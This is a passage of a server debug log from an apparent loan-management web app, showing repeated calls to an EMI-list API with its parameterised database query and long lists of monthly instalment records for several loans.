    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: '2026-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: '2026-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-06-29T05:32:22.597Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:22.597Z server-connect:app Executing action step identify
2026-06-29T05:32:22.597Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:22.597Z server-connect:output identity: 1
2026-06-29T05:32:22.598Z server-connect:app Executing action step restrict
2026-06-29T05:32:22.598Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:22.598Z server-connect:output restrict: undefined
2026-06-29T05:32:22.598Z server-connect:app Executing action step select
2026-06-29T05:32:22.599Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:22.601Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2026-06-25T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2026-05-31T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-06-29T05:32:25.614Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:25.615Z server-connect:app Executing action step identify
2026-06-29T05:32:25.615Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:25.615Z server-connect:output identity: 1
2026-06-29T05:32:25.615Z server-connect:app Executing action step restrict
2026-06-29T05:32:25.615Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:25.616Z server-connect:output restrict: undefined
2026-06-29T05:32:25.616Z server-connect:app Executing action step select
2026-06-29T05:32:25.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:25.618Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-04-21T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-06-29T05:32:32.959Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-29T05:32:32.959Z server-connect:app Executing action step identify
2026-06-29T05:32:32.959Z server-connect:app options: { provider: 'security' }
2026-06-29T05:32:32.959Z server-connect:output identity: 1
2026-06-29T05:32:32.960Z server-connect:app Executing action step restrict
2026-06-29T05:32:32.960Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:32:32.960Z server-connect:output restrict: undefined
2026-06-29T05:32:32.960Z server-connect:app Executing action step select
2026-06-29T05:32:32.960Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-29T05:32:32.962Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
